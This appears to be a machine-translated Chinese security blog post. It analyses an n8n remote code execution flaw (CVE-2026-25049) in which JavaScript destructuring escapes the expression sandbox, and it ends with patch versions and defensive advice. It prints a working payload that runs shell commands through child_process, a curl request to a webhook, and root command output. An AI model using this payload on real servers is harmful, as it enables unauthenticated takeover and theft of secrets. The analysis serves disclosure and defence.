N8N RCE 漏洞 (CVE-2026-25049) 深度分析:利用 JavaScript 结构分解赋值绕过沙箱
详细分析 CVE-2026-25049 漏洞的成因和利用代码,该漏洞仅用一行 JavaScript 语法(Destructuring)就使 n8n 的 5 层安全防护失效。
本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。
阅读原文(韩语)最近,工作流自动化平台 n8n 中发现了一个严重远程代码执行 (RCE) 漏洞 (CVE-2026-25049)。此漏洞的 CVSS 评分为 9.4 (Critical),未经身份验证的攻击者可以通过公开的 Webhook 完全控制服务器。
尤其值得注意的是,此漏洞利用 JavaScript 的**结构分解赋值 (Destructuring Assignment)**这一语法特性,绕过了 n8n 构建的正则表达式、AST 检查、运行时验证等 5 层安全防护,这在技术上非常有趣。
本文将从代码层面分析该漏洞的产生原因,并通过 PoC(Proof of Concept,概念验证)来了解攻击原理。
1. 背景:n8n 的沙箱防御体系
n8n 允许用户使用 JavaScript 表达式 (Expression) 处理数据。例如,它以类似于 eval() 或 Function 构造函数的方式在内部执行诸如 {{ $json.name }} 之类的表达式。
当然,这存在安全风险,因此 n8n 构建了以下多重防御机制:
- Regex Check (正则表达式检查):阻止包含
.constructor等危险关键字的字符串 - AST Sanitizer (AST 清理器):分析代码的结构 (AST) 并阻止危险节点 (例如 MemberExpression)
- Runtime Validator (运行时验证器):在运行时检查对象属性访问
- Function Sanitizer (函数清理器):将普通函数中
this上下文绑定到一个空对象 - Property Removal (属性删除):删除
eval、Function等危险的全局对象
乍一看,这似乎是一个完美的防御体系。但是,所有这些防御都建立在**“对象属性访问只能通过点 (.) 或方括号 ([]) 完成”**这一错误的假设之上。
2. 漏洞原因:结构分解赋值 (Destructuring)
在 JavaScript 中,获取对象属性的方法主要有两种。
A. 传统方式(已被阻止)
obj.constructor // Dot notation
obj['constructor'] // Bracket notation这些方法在 AST(抽象语法树)上被解析为 MemberExpression 节点。n8n 的 AST Sanitizer 正在监视此节点,并且正则表达式过滤器也捕获了 .constructor 模式。
B. 结构分解赋值(绕过成功)
const { constructor } = obj;这是 ES6 中引入的结构分解赋值语法。此代码在 AST 上被解析为 VariableDeclaration 中的 ObjectPattern。
问题是 n8n 的安全逻辑仅检查 MemberExpression 而不检查 ObjectPattern。 此外,源代码文本中没有出现 .constructor 模式,因此也可以绕过正则表达式过滤器。
3. Exploit Chain 分析
仅仅获取 constructor 是不够的。攻击者必须利用它来执行任意代码。完整的 Exploit Chain 如下:
步骤 1:通过箭头函数获取 this
n8n 通过将普通函数 (function() {}) 的 this 强制绑定到空对象来实现沙箱化。但是箭头函数 (() => {}) 没有自己的 this 绑定,而是直接使用上层作用域(词法作用域)的 this。
(() => {
// 샌드박스 처리되지 않은 원본 'this' 또는 문맥에 접근 가능
})()步骤 2:通过结构分解获取 Function 构造函数
在箭头函数内部,通过结构分解赋值获取空函数的 constructor。在 JavaScript 中,所有函数的构造函数都是 Function 对象。也就是说,获得 Function 构造函数。
const { constructor } = () => {};
// constructor === Function步骤 3:执行任意代码
利用获得的 Function 构造函数创建一个可以执行字符串代码的函数,并立即执行它。
constructor('return process.mainModule.require("child_process").execSync("id").toString()')()最终 Payload
将所有这些组合起来,可以得到如下一行 Payload:
={{(() => {
const {constructor} = ()=>{};
return constructor('return process.mainModule.require("child_process").execSync("id").toString()')();
})()}}4. PoC 及攻击场景
当此漏洞与 n8n 的 Webhook 功能结合使用时,其影响会被最大化。因为在 n8n 中可以轻松创建无需身份验证 (Authentication: None) 的 Webhook。
攻击场景
- 攻击者访问 n8n 实例(或通过 CSRF 等诱导)并创建恶意工作流。
- 添加 Webhook 节点并将身份验证设置为
None。 - 在 Webhook 后面连接的节点(例如 Set)的表达式字段中插入上述 RCE Payload。
- 激活工作流。
- 从外部向该 Webhook URL 发送请求,服务器将执行命令。
实际测试 (PoC)
# Webhook으로 요청 전송
curl -X POST 'http://target-n8n-server.com/webhook/rce-demo' \
-H 'Content-Type: application/json' \
--data '{}'响应结果:
{
"result": "uid=0(root) gid=0(root) groups=0(root)\n"
}服务器执行了 id 命令,确认具有 root 权限。攻击者可以通过这种方式窃取环境变量 (API Key)、安装后门、渗透到内部网络等。
5. 应对及补丁
补丁版本
n8n 团队确认了此问题并立即发布了补丁。
- 已解决版本:
1.123.17、2.5.2及更高版本
根本解决方案
从开发人员的角度来看,此漏洞显示了**“基于黑名单的安全措施的局限性”**。 JavaScript 是一种非常灵活的语言,因此仅阻止特定语法(例如点表示法)始终存在被绕过的可能性。
- 不要依赖 Regex (正则表达式): 应该使用解析器分析代码,而不是使用正则表达式。
- 扩大 AST 覆盖范围: 不仅要检查
MemberExpression,还要检查所有可能访问属性的 AST 节点,例如ObjectPattern。 - 应用 Allowlist (白名单): 如果可能,使用仅允许访问允许属性的白名单方法是安全的。
结尾
本次 CVE-2026-25049 是一个典型的案例,表明即使有 5 层防御,也可能因为一个逻辑盲点(忽略 Destructuring)而导致整个安全体系崩溃。如果您正在使用 n8n,请立即更新到最新版本。
Reference: SecureLayer7 Deep Dive
评论